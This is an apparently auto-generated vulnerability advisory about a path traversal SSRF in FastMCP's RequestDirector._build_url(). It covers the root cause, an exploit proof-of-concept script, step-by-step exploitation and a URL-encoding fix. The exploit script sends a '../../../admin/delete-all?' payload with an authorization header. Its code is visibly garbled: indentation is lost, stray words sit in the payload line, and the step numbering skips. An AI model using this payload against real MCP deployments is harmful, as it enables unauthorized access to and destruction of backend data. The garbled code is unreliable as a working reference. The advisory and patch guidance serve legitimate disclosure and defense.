Listen to this Post
The vulnerability resides in the `_build_url()` method of FastMCP’s `RequestDirector` class, used to construct HTTP requests for OpenAPI‑defined endpoints. When an OpenAPI path contains parameters (e.g., /api/v1/users/{user_id}), the method substitutes the parameter values directly into the URL template without any URL encoding. After substitution, the final URL is built using urllib.parse.urljoin(). Because `urljoin()` interprets `../` sequences as directory traversal, an attacker can supply a path parameter containing `../` to escape the intended API prefix. The result is an authenticated Server‑Side Request Forgery (SSRF) where the request is sent with the MCP provider’s own authorization headers, allowing the attacker to access arbitrary backend endpoints that were never exposed in the OpenAPI specification. The root cause is the combination of unsafe string substitution and the traversal‑resolving behavior of urljoin(). No validation or encoding prevents malicious path traversal sequences, effectively breaking the intended API boundary.
DailyCVE Form
Platform: FastMCP
Version: All vulnerable
Vulnerability: Path traversal SSRF
Severity: Critical
date: 2026-03-31
Prediction: Patch expected 2026-04-15
What Undercode Say:
The following demonstrates the exploitation and the required fix.
Exploit script (exploit_poc.py)
import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector
async def exploit_ssrf():
director = RequestDirector(spec={})
base_url = "http://127.0.0.1:8080/"
template = "/api/v1/users/{id}/profile"
payload = "../../../admin/delete-all?" traversal + comment
malicious_url = director._build_url(template, {"id": payload}, base_url)
print(f"[] Generated URL: {malicious_url}")
async with httpx.AsyncClient() as client:
response = await client.get(
malicious_url,
headers={"Authorization": "Bearer admin_secret"}
)
print(f"[+] Status: {response.status_code}\n[+] Response: {response.text}")
asyncio.run(exploit_ssrf())
How Exploit:
1. Identify any OpenAPI path parameter (e.g., `{id}`).
- Supply a value containing `../` sequences and a terminating `?` to neutralize the original path suffix.
3. The `_build_url()` substitutes the payload directly.
4. `urljoin()` resolves the traversal, pointing to an internal endpoint like /admin/delete-all.
5. The MCP provider’s authentication headers are attached, granting unauthorized access.
Protection from this CVE
Apply the recommended fix: URL‑encode all path parameter values before substitution, using `urllib.parse.quote()` with `safe=””` to encode all special characters. Example:
import urllib.parse Inside _build_url: safe_value = urllib.parse.quote(str(param_value), safe="") url_path = url_path.replace(placeholder, safe_value)
Also consider validating that the final URL stays within the allowed base path.
Impact
- Unauthorized access to internal endpoints not defined in the OpenAPI spec.
- Privilege escalation via the MCP provider’s authentication context.
- Complete circumvention of the OpenAPIProvider’s intended security boundary.
- Data exfiltration, lateral movement, and potential service disruption on backend systems.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

